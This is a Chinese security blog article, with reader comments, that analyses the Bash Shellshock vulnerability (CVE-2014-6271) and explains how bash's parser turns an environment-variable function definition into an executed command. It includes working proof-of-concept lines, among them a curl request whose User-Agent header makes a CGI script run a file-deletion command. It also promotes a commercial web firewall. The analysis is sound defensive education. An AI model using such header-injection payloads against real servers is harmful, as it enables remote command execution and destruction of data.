我们团队结合poc分析了解一下Bash的语法规则，从另外一个角度帮忙大家更好的了解bash以及shellshock漏洞。
漏洞说明
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
CVE-2014-6271漏洞是Stéphane Chazelas（法国）发现的SHELL的一个漏洞，向环境变量值内的函数定义后添加多余的字符串会触发此漏洞，攻击者可利用此漏洞改变或绕过环境限制，以执行shell命令。
此漏洞可能会影响到使用ForceCommand功能的OpenSSH sshd、使用mod_cgi或mod_cgid的Apache服务器、DHCP客户端、其他使用bash作为解释器的应用。
漏洞测试
0×00 本地测试
# env x='() { :;}; echo vulnerable; bash -c "echo this is a test"
打印出：
vulnerable
this is a test
0×01 http通过cgi测试
构造poc.cgi
确保本地www目录存在一个test.file文件
# curl http://127.0.0.1/poc.cgi -A ‘x=() { :; }; /bin/rm /www/test.file’ test.file文件已经被删除 # curl http://192.168.0.1/test.file <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> … </body></html>
漏洞分析
在上面的测试0×01中，User-agent的输入“x=() { :; }; /bin/rm /www/test.file”通过bash的语法分析解析成了一个函数定义和一个command。并且在parse_and_execute函数中command被执行了，导致于test.file被非法删除。
下面的分析主要是看bash的语法是怎样把"HTTP_USER_AGENT() { :; };\n/bin/rm /www/test.file"字符输入解析成一个函数定义和一个command的过程。
了解bash的语法解析过程，可以帮助我们更好的理解该漏洞的详细情况。
0×00
Bash的词法和语法分析是用flex and yacc来实现。关于flex和yacc，不明白的可以自己去查询相关资料。这里简单介绍一下：
Flex词法分析器将数据流中的各类词先提取出来，形成一个个的token，供语法分析器使用
Yacc语法分析器将文法符号按照一定的规则进行移进-规约操作，最终归约为目标S文法
0×01
Bash词法token在y.tab.c中能够找到，word_token_alist和other_token_alist等数组中定义。Bash的语法定义是在parse.y文件中定义的。
分析输入数据："HTTP_USER_AGENT() \n{\n :;\n };/bin/rm /www/test.file"
在规约到function_def状态的时候，就创建了函数定义，如下接口：
{ $$ = make_function_def ($1, $5, function_dstart, function_bstart); }
对应的$1= HTTP_USER_AGENT, $5的值为函数body， function_dstart为函数定义开始行，
function_bstart为函数体定义开始行。
/bin/rm /www/test.file则是在simple_command：状态的时候，创建了命令，调用接口：
COMMAND *make_simple_command (element, command)
0×02
在parse_and_execute函数中
0×01部分解析工作由yyparse完成，它在parse_command中被调用。
当解析完成后，并没有对command的合归性进行检查，Shell执行的时，会调用read_loop循环读取read_command,然后最终调取command_execute来执行相应的命令。
漏洞修复
以下是相关linux发行版本的官网，请系统管理员&站长关注这些patch链接，及时下载最新补丁进行修复；未能修复该漏洞的网站，可以开启360网站卫士进行防御。
http://lists.centos.org/pipermail/centos-announce/2014-September/
https://www.debian.org/security/2014/dsa-3035
https://rhn.redhat.com/errata/RHSA-2014-1306.html
- 上一篇：Bash远程解析命令执行漏洞测试方法
- 下一篇：恶意软件隐藏新技巧 – 密写
-
爱立信扫地大爷"可以开启360网站卫士进行防御..."
我也是醉了 -
@爱立信扫地大爷 bash漏洞可以通过构造http头字段来对网站实现攻击，如果网站cgi程序调用bash的话，很轻松就能拿下网站服务器。360网站卫士是一个云防护产品，当然能防bash漏洞，请问这有什么问题么？
关注我们 分享每日精选文章
不容错过
- 【快讯】乐天中国官网疑似遭遇黑客攻击，至今无法访问kuma2017-03-02
- 沙虫（CVE-2014-4114）新变种惊现针对台湾的APT攻击事件中Rabbit_Run2014-10-24
- 钓鱼邮件初探：黑客是如何进行邮件伪造的？dontshoot2016-01-07
- 黑色藤蔓（Black Vine）：专攻航空航天和医疗保险的网络间谍组织森碟2015-07-30
Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
0day
已有 18 条评论
360网站卫士???
非win也有360？
"可以开启360网站卫士进行防御…"
我也是醉了
@爱立信扫地大爷 bash漏洞可以通过构造http头字段来对网站实现攻击，如果网站cgi程序调用bash的话，很轻松就能拿下网站服务器。360网站卫士是一个云防护产品，当然能防bash漏洞，请问这有什么问题么？
"可以开启360网站卫士进行防御…"
同醉！无节操，不要下限。
卧槽最后一句是收了多少钱
表示小白,*nix的主机上不会用360
@王珂 我表示你没理解这个漏洞
作者： 360网站卫士
360网站卫士……你为何如此屌？
莫非linux服务器要wine一个？
@kalsong 不是我屌啊亲，是你没懂这个漏洞
越分析越觉得bash是无辜的：
用户传过来什么你们都完全不处理直接给我执行，我哪知道你是要定义一个函数还是要在后面再跟个命令？！
其实大家就是想问一句，自家的*nix服务器怎么部署网站卫士……表示理解都不在一个点上了~~~
搞网络营销的人，人品真的毫无下限可言！
360叼爆了
本地执行,还用root权限,你牛叉当然能删除掉了.
360有什么客户端的没有？
curl http://127.0.0.1/poc.cgi -A ‘x=() { :; }; /bin/rm /www/test.file’
应该是下面这行
curl http://127.0.0.1/poc.cgi -A ‘x=’() { :; }; /bin/rm /www/test.file’’
少了两个单引号。
360 的版本 有了？